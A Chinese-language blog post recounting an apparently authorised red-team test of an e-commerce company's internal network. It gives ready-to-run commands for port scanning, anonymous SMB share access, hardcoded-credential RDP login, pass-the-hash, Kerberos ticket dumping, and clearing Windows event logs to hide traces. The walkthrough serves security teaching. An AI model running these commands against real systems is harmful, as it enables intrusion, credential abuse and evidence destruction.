一、渗透环境里的「惊喜」:一次不起眼的横向移动
事情的起因看似平常:我们受邀对一家电商企业进行一次授权的内部安全评估。初期的信息收集和外部攻防较为顺利,通过钓鱼邮件成功拿下了某个低权限的普通员工账户。这是我们红队行动的经典开局,但如何从这个普通用户的身份中挖掘出更大的价值,才是考验攻击者经验的关键。
在内网信息收集的过程中,我们发现了一个有趣的现象:目标网络中存留了一些暴露的共享文件夹,内含质量参差不齐的配置文件和脚本。当时并未抱太大希望,但深入分析后,却意外发现了一些硬编码的凭据。随后,这些凭据成了我们在整个内网中横向移动的突破口。

下面的章节,我将带你走进这个真实的渗透案例,展示如何一步步横向移动、扩大战果,最终获取内网关键资产。
---
二、开局不利?用信息收集找线索
在横向移动中,内网的信息收集是第一步。我们需要从多个维度快速获取目标内网的拓扑结构、主机信息、用户情况,并筛选出高价值的攻击目标。以下是我的常用策略和工具。
用Go编写轻量级扫描器

在内网中,“低调”是王道。运用Go语言编写一个轻量级的扫描器,可以快速扫描目标网络的活跃主机,并解析开放端口和服务信息。
<pre><code class="language-go">package main
import ( "fmt" "net" "time" )
func scanPort(protocol, hostname string, port int) bool { address := fmt.Sprintf("%s:%d", hostname, port) conn, err := net.DialTimeout(protocol, address, 2*time.Second) // 2秒超时 if err != nil { return false } conn.Close() return true }
func main() { target := "192.168.1.0/24" // 替换为目标网段 ports := []int{21, 22, 80, 443, 445, 3389}
for i := 1; i <= 254; i++ { ip := fmt.Sprintf("192.168.1.%d", i) for _, port := range ports { isOpen := scanPort("tcp", ip, port) if isOpen { fmt.Printf("[+] 主机: %s, 端口: %d 开放\n", ip, port) } } } }</code></pre>
运行这个扫描器,可以快速判断哪些主机和端口是开放的。虽然比不上专业工具的功能,但它胜在“干净”、低噪声,特别适合在初期测试中用来踩点。
SMB共享文件夹的意外发现
扫描结果中,445端口是开放的,我随即试着用crackmapexec工具探测目标系统的SMB共享:

<pre><code class="language-shell">crackmapexec smb 192.168.1.100 -u '' -p ''</code></pre>
成功抓取到多个共享资源,其中一个文件夹\\192.168.1.100\configs引起了我的注意。通过匿名访问,我下载了里面的文件,发现了某些疑似密码的内容。
---
三、硬编码密码与凭据滥用:突破口的艺术
共享文件夹中的某些配置文件,记录了服务的硬编码密码。通过对文件内容的分析,我发现了一条RDP凭据,格式如下:
<pre><code>username: corpadmin password: P@ssw0rd123!</code></pre>
这类“低吊果实”常常出现在渗透中。很多企业的管理员习惯将敏感信息写死在配置文件里,却没有意识到文件共享的安全隐患。
接下来,重点是验证这些凭据的有效性。
利用RDP尝试登录
使用工具xfreerdp测试RDP登录:
<pre><code class="language-shell">xfreerdp /u:corpadmin /p:P@ssw0rd123! /v:192.168.1.100</code></pre>
很快,我便登录成功,拿到了一个高权限的域账户。到此为止,内网的横向移动已经打开了一道大门。
---
四、内网横向移动技巧:从单点突破到大面积渗透
横向移动的目标在于扩大权限、渗透更多的关键主机。以下是我常用的几种方法。
利用Pass-The-Hash
在Windows环境下,凭据通常以哈希值的形式存储。拿到哈希值后,我们可以通过“Pass-The-Hash”技术进行身份冒充。使用impacket中的wmiexec.py工具可以快速执行:
<pre><code class="language-shell">python3 wmiexec.py corp.local/[email protected] -hashes :aad3b435b51404eeaad3b435b51404ee</code></pre>
PowerShell远程命令执行
如果目标开启了WinRM服务,可以通过PowerShell远程执行命令:
<pre><code class="language-shell">$session = New-PSSession -ComputerName 192.168.1.200 -Credential (Get-Credential) Invoke-Command -Session $session -ScriptBlock { whoami }</code></pre>
通过这种方法,可以方便地在多个主机间切换。
利用Kerberos票据
在获取域账户后,可尝试利用Kerberos票据进行进一步的攻击。例如使用Rubeus工具提取TGT票据:
<pre><code class="language-shell">Rubeus.exe dump /nowrap</code></pre>

然后利用票据冒充身份,访问更多的内网资源。
---
五、痕迹清除:当一切结束时
渗透结束后,务必清理自己在目标环境中的痕迹。这里提供几个实用方法:
清理日志
在Windows系统中,删除日志文件可以用以下命令:
<pre><code class="language-shell">wevtutil cl Application wevtutil cl Security wevtutil cl System</code></pre>
隐藏工具
将上传的工具和脚本删除,并覆盖痕迹:
<pre><code class="language-shell">del /f /s /q %temp%\* > nul cipher /w:C:\temp</code></pre>
---
六、经验小结:从细节中找到机会
回顾整个渗透过程,横向移动的成功关键在于信息收集的细致程度。很多时候,一些意想不到的细节往往会成为突破口,例如共享文件夹、硬编码凭据等。
此外,工具的选择和使用技巧也是关键。在内网中,“武器”越轻量、越隐蔽,成功的概率就越高。希望这篇文章能给你带来一些启发。记住,这些技术仅限于合法授权下的安全测试中使用!